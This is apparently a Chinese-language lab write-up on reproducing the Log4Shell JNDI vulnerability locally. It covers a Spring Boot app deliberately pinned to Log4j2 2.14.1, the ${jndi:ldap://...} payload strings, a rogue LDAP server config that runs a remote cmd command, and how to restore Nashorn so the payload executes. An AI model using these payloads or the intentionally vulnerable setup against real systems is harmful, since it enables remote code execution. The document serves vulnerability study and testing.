🎈 在 Spring Boot 2.x 环境中测试
pom.xml : 将 Log4j2 版本降低到存在漏洞的版本
<properties>
<java.version>17</java.version>
<!-- 当前设置的 Spring Boot 版本自带的 log4j 比存在漏洞的 2.14.1 版本更高,因此故意降低版本。-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController : 添加直接接收用户输入并进行日志记录的控制器方法
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "无异常发生");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "发生异常: " + e.getMessage());
}
return "redirect:/";
}
浏览器运行

实际将 ${jndi:ldap://127.0.0.1:19090/run} 字符串发送到服务器时,服务器会尝试连接 127.0.0.1:19090。
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
因为本地 19090 端口并未开启 LDAP 服务器,所以会留下 Connection refused: connect 异常的错误日志。
LOGGER.info("{}", ldapString); 代码中并未抛出 JNDI 错误异常。
参考 https://github.com/veracode-research/rogue-jndi 此代码中仅调研了 Tomcat 相关的部分,并将其构建为一个简单的 Spring Boot 项目。
之所以只调研 Tomcat 相关的部分...
由于目标测试服务器基于 Spring Boot 的内置 Tomcat,因此认为仅调研 Tomcat 也能确认漏洞的触发机制,所以就这样进行了。
指令准备
仅执行简单的计算器太过简单,于是尝试组合了 cmd 命令。
ldapserver-config.properties
# 将目标服务器的 Windows 操作系统版本记录到文本文件中,然后用记事本打开
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
实际操作后发现确实可以远程执行测试目标服务器上的可执行文件。验证方法如下。
运行 ldap-server 服务器、traget-server
# 运行 LDAP 服务器
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 运行测试目标服务器
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
在测试目标服务器上发送 ${jndi:ldap://127.0.0.1:19090/o=tomcat} 字符串后确认

在 target-server 项目根目录下生成了 test.txt 文件,并通过记事本执行打开了。
在生成发送给目标 Tomcat 的 Payload 时使用了 Java 的 JavaScript 实现 Nashorn,但从 Java 15 开始 Nashorn 被完全移除。因此出现了 ldap 服务器已将命令发送到目标 Tomcat,但命令无法执行的问题。
此时.. 只需在目标 Tomcat 服务器上添加 nashorn-core 或 rhino-engine 两者之一的库即可。
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
为了方便版本管理,将 pom.xml 修改为父子关系,可以在父 pom 所在的目录中执行,如下所示。
# 全部测试
$ mvnw clean test
# 由于不以后台方式运行,因此需要在各自的控制台窗口中分别执行
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 直接进入子项目目录中执行也可以
$ cd target-server
$ mvnw clean spring-boot:run
本软件仅用于教育目的和/或用户事先获得授权允许进行攻击的系统测试。
(看到 rogue-jndi 上也添加了这句话,所以就跟着加上了。 😓)